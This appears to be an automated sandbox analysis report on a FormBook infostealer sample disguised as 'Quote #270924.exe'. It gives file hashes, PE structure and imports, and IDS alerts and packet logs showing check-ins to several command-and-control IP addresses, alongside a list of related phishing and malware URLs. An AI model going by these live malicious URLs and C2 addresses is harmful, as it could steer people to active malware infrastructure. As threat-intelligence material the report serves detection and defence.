	Audio playback00_05-30-00000.html	Get hash	malicious	HTMLPhisher	Browse	150.95.219.86
	https://flowto.it/epjMkCwdtP	Get hash	malicious	Unknown	Browse	118.27.125.197
	https://flowcode.com/p/epjMkCwdtP	Get hash	malicious	Unknown	Browse	118.27.125.197
	ORDER_1105-19-24-3537.pdf.exe	Get hash	malicious	FormBook	Browse	150.95.255.38
	Enquiry.exe	Get hash	malicious	FormBook	Browse	133.130.35.90
	https://hachidori87.com/wp-content/Magenta/Magenta	Get hash	malicious	Phisher	Browse	163.44.185.223

Process:	C:\Windows\SysWOW64\Robocopy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\recomplete

Download File

Process:	C:\Users\user\Desktop\Quote #270924.exe
File Type:	data
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	7.9937449075373985
Encrypted:	true
SSDEEP:	6144:3pHGWmBNol9389aqor+LGgNlrN9P9hl48PILlFS89eZvSyZj2z9uoASU6:3pmWYol9389Vor+imNNp97nPILlcZvS9
MD5:	8BF7C1AD41C40B026B7FFA0802D3F219
SHA1:	AEBA85B2D078740B02CCAFD7C28F159B063103B2
SHA-256:	E1E0F97490057B5DD025A2883C87613CB11AA154971FCF0406BFC4ED828BEAD7
SHA-512:	CF641D7ECAB37E03DDA6D126A67FBA8C7DAAC39771E360B128A56025F7D1EB511E1E92C1FBE1D4CA879C9BA18A5DB25978F02B55539176059A7C830F3C031167
Malicious:	false
Reputation:	low
Preview:	.k.g.4H72...N...i.Y7...dW?...X1U5Y4H72LT7GTQX1U5Y4H72LT7GTQ.1U5W+.92.].f.P..ta1];.B>;P55<xR4[7[<.P)tE2:q1_uq.ghZ](1.JY[\|1U5Y4H7KM].z46..5R..(P.V.n1?.O...tWU.N..m8V.g0W .R+.7GTQX1U5.qH7~MU75...1U5Y4H72.T5F_PS1Uo]4H72LT7GT.L1U5I4H7BHT7G.QX!U5Y6H74LT7GTQX7U5Y4H72L$3GTSX1U5Y4J7r.T7WTQH1U5Y$H7"LT7GTQH1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7i 4 EU5Y..32LD7GT.\1U%Y4H72LT7GTQX1U.Y4(72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72LT7GTQX1U5Y4H72L

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.542938203344601
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Quote #270924.exe
File size:	1'366'661 bytes
MD5:	1018070ffeb3f5fa59a306fa6e6b0f57
SHA1:	df752f8bc6b8b9be639a4135c06f401a6701fc35
SHA256:	5da3520f7feeae6c6ec79f99c5cc9b5ff73bfd57b29ca80b3aa2fd1a718df59e
SHA512:	96f6e5c2a32366069193296007206e925482468d65dc2993757347d5c05cd95b5bc296239a92ca9bc2bc0161e8141f178f2f38856c9a84653b91118047722413
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCUg4YE5n/Dbbdh9QVl9/UKIGbjw5:7JZoQrbTFZY1iaCoYmf5hWricw5
TLSH:	F855F121F5C69036C2B326B09E7EF36A963D79360336D19727C82E315EA05416B3A773
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007EFED8C77DCBh
jmp 00007EFED8C6EC3Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007EFED8C6EDBAh
cmp edi, eax
jc 00007EFED8C6EF56h
cmp ecx, 00000080h
jc 00007EFED8C6EDCEh
cmp dword ptr [004A9724h], 00000000h
je 00007EFED8C6EDC5h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007EFED8C6EDB7h
jmp 00007EFED8C6F192h
test edi, 00000003h
jne 00007EFED8C6EDC6h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007EFED8C6EDDBh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007EFED8C6EDBEh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007EFEDB0E75B7h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007EFED8C6ED7Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T17:29:46.279961+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63688	65.21.196.90	80	TCP
2024-09-27T17:30:19.046227+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63692	3.33.130.190	80	TCP
2024-09-27T17:30:21.408275+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63693	3.33.130.190	80	TCP
2024-09-27T17:30:23.081891+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63694	3.33.130.190	80	TCP
2024-09-27T17:30:26.054926+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63695	3.33.130.190	80	TCP
2024-09-27T17:30:32.493925+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63696	38.47.233.19	80	TCP
2024-09-27T17:30:35.077130+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63699	38.47.233.19	80	TCP
2024-09-27T17:30:37.596530+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63700	38.47.233.19	80	TCP
2024-09-27T17:30:40.119661+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63701	38.47.233.19	80	TCP
2024-09-27T17:30:46.412025+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63702	172.67.165.25	80	TCP
2024-09-27T17:30:49.024299+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63703	172.67.165.25	80	TCP
2024-09-27T17:30:51.502507+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63704	172.67.165.25	80	TCP
2024-09-27T17:30:54.071710+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63705	172.67.165.25	80	TCP
2024-09-27T17:30:59.952747+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63706	208.91.197.27	80	TCP
2024-09-27T17:31:02.507416+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63707	208.91.197.27	80	TCP
2024-09-27T17:31:05.060861+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63708	208.91.197.27	80	TCP
2024-09-27T17:31:09.486959+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63709	208.91.197.27	80	TCP
2024-09-27T17:31:16.579307+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63711	162.0.238.43	80	TCP
2024-09-27T17:31:19.255760+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63712	162.0.238.43	80	TCP
2024-09-27T17:31:21.684344+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63713	162.0.238.43	80	TCP
2024-09-27T17:31:24.344519+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63714	162.0.238.43	80	TCP
2024-09-27T17:31:29.887845+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63715	3.33.130.190	80	TCP
2024-09-27T17:31:33.455688+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63716	3.33.130.190	80	TCP
2024-09-27T17:31:33.455688+0200	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.5	63716	3.33.130.190	80	TCP
2024-09-27T17:31:35.999476+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63717	3.33.130.190	80	TCP
2024-09-27T17:31:37.480561+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63718	3.33.130.190	80	TCP
2024-09-27T17:31:44.108829+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63719	85.159.66.93	80	TCP
2024-09-27T17:31:46.655732+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63720	85.159.66.93	80	TCP
2024-09-27T17:31:49.202624+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63721	85.159.66.93	80	TCP
2024-09-27T17:31:50.930043+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63722	85.159.66.93	80	TCP
2024-09-27T17:31:57.288710+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63723	160.251.148.20	80	TCP
2024-09-27T17:31:59.824590+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63725	160.251.148.20	80	TCP
2024-09-27T17:32:02.545176+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63726	160.251.148.20	80	TCP
2024-09-27T17:32:04.945053+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63727	160.251.148.20	80	TCP
2024-09-27T17:32:10.965892+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63728	208.91.197.39	80	TCP
2024-09-27T17:32:13.559112+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63729	208.91.197.39	80	TCP
2024-09-27T17:32:16.103969+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	63730	208.91.197.39	80	TCP
2024-09-27T17:32:19.335928+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	63731	208.91.197.39	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 17:29:45.578249931 CEST	63688	80	192.168.2.5	65.21.196.90
Sep 27, 2024 17:29:45.583000898 CEST	80	63688	65.21.196.90	192.168.2.5
Sep 27, 2024 17:29:45.583095074 CEST	63688	80	192.168.2.5	65.21.196.90
Sep 27, 2024 17:29:45.589664936 CEST	63688	80	192.168.2.5	65.21.196.90
Sep 27, 2024 17:29:45.594542980 CEST	80	63688	65.21.196.90	192.168.2.5
Sep 27, 2024 17:29:46.279315948 CEST	80	63688	65.21.196.90	192.168.2.5
Sep 27, 2024 17:29:46.279906034 CEST	80	63688	65.21.196.90	192.168.2.5
Sep 27, 2024 17:29:46.279961109 CEST	63688	80	192.168.2.5	65.21.196.90
